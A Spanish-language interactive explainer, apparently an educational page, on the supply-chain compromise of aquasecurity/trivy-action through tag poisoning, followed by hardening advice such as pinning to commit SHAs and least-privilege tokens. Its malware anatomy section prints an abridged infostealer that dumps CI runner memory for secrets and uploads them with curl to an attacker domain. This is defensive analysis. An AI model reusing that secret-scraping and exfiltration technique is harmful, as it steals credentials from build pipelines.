El escáner se convirtió en el atacante

aquasecurity/trivy-action

Antes del ataque, esto parecía un repo open-source saludable: estrellas, releases, un historial de versiones etiquetado en el que confiaban miles de workflows. El peligro se escondía en algo que todos hacemos a diario — confiar en un tag de versión.

# .github/workflows/scan.yml  (en TU repo)
name: security-scan
on: [push, pull_request]

jobs:
  trivy:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Run Trivy vulnerability scanner
        uses: aquasecurity/trivy-action@0.34.2

La trampa de pull_request_target

El ataque comenzó un mes antes. Una cuenta bot autónoma, hackerbot-claw (atribuida al actor de amenazas TeamPCP), encontró un workflow mal configurado en aquasecurity/trivy — uno que mezclaba la combinación más peligrosa de GitHub Actions: código no confiable + un token privilegiado. Pulsa reproducir y mira cada salto.

La credencial olvidada

Aqua divulgó la brecha (GitHub discussion #10265) y rotó credenciales. ¿Buena respuesta, no? La rotación solo funciona si es exhaustiva. En algún punto del inventario quedó una credencial viva — y TeamPCP se quedó en silencio con las llaves del reino. Pulsa el botón y fíjate bien.

Envenenamiento de tags — encuentra la falsificación

El atacante reenvió con force-push 76 de 77 tags de trivy-action (cada tag de 0.0.1 a 0.34.2) más los 7 tags de setup-trivy. Cada uno fue repuntado a un "commit impostor": el árbol del HEAD de master (commit 57a97c7e) con solo entrypoint.sh cambiado por un infostealer malicioso — envuelto en metadatos perfectamente falsificados. Haz clic en los commits de abajo y encuentra las pistas. Encuentra al menos 3.

@@ archivo malicioso: líneas 1–105 = infostealer antepuesto AL código real @@
- #!/bin/bash                                   ← línea 1: sigue pareciendo lo de siempre
- # --- [ infostealer de TeamPCP, líneas 4–105 ] ---------------------------
- if sudo -n true 2>/dev/null; then             ← sudo sin contraseña en runners hospedados
-   RUNNER_PID=$(pgrep -f "Runner.Worker" | head -1)
-   sudo python3 - "$RUNNER_PID" <<'PY'          ← vuelca la memoria de Runner.Worker
-     # lee /proc/<pid>/mem, busca {"value":"…","isSecret":true}
- fi
- # …AES-256-CBC + PBKDF2, clave envuelta con RSA-4096 OAEP, paquete → tpcp.tar.gz
- curl -s -X POST -F "f=@tpcp.tar.gz" https://scan.aquasecurtiy.org
@@ líneas 106–204: el código legítimo de escaneo de Trivy, sin cambios @@
  #!/usr/bin/env bash
  set -euo pipefail
  …
+ trivy $SCAN_TYPE $FORMAT $OUTPUT $SEVERITY $TARGET   ← el escaneo real sigue corriendo
+ exit 0                                          ← el workflow "tiene éxito"

Anatomía del malware

El entrypoint.sh malicioso tiene 204 líneas: las líneas 4–105 son el infostealer, las 106–204 son el escaneo legítimo de Trivy. El malware se ejecuta primero; después, el escaneo real sigue su curso con normalidad — así que cada workflow parece terminar bien. Tres fases:

Una ejecución de CI completamente normal

Esta es la parte que hizo el ataque tan efectivo. Mira un workflow que termina todo en verde — checkout, setup, escaneo, check verde, cero vulnerabilidades. Luego cambia de vista para ver qué pasaba en el mismo runner, en los mismos segundos.

Línea de tiempo y alcance

De un workflow mal configurado a un worm que infectó más de 1,000 entornos cloud — en cinco semanas. Haz clic en cualquier nodo para expandir los detalles. Desplázate horizontalmente para seguir la campaña.

Haz que este ataque sea aburrido

Cada eslabón de esta cadena tiene una contramedida barata y aburrida. Alterna entre las versiones insegura y segura de abajo, y llévate la lista del lunes por la mañana a tu equipo.

# ❌ INSEGURO — tag mutable, repuntado silencioso
- name: Run Trivy vulnerability scanner
  uses: aquasecurity/trivy-action@0.34.2   # ← un puntero. puede moverse.

# ✅ SEGURO — fijado a un commit SHA completo
# (Dependabot/Renovate aún pueden actualizarlo con un PR + revisión)
- name: Run Trivy vulnerability scanner
  uses: aquasecurity/trivy-action@57a97c7e7821a5776cebc9bb87c984fa69cba8f1

# ❌ el tag también puede repuntarse en el registry
image: aquasec/trivy:0.69.4

# ✅ el digest es direccionado por contenido — inmutable
image: aquasec/trivy@sha256:822dd269ec10…  (¡verifica el digest real!)

# Sin llaves de AWS guardadas en GitHub:
permissions:
  id-token: write   # emite un token OIDC de corta duración
steps:
  - uses: aws-actions/configure-aws-credentials@v4
    with:
      role-to-assume: arn:aws:iam::…:role/ci-deploy

# El token por defecto tiene escritura-total en muchos repos.
# Redúcelo a nada y agrega solo lo necesario:
permissions: read-all
# o explícitamente:
permissions:
  contents: read
  pull-requests: write

Seis cosas que hacer el lunes por la mañana

Indicadores de compromiso (IOCs)

El monitoreo de egress lo atrapó

No un escáner. No una firma. Monitoreo de red de egress. Harden-Runner de StepSecurity (desplegado en más de 12,000 repos públicos) alertó sobre una conexión saliente anómala al C2 del atacante desde el trivy-action comprometido — visible públicamente en los insights de Harden-Runner del proyecto k8gb-io/k8gb. Ejecuta la simulación y luego trabaja la lista forense.

Parte B — Lista forense de cacería

Supón que sospechas una falsificación de tags. Trabaja la lista — marca cada técnica. 0 / 5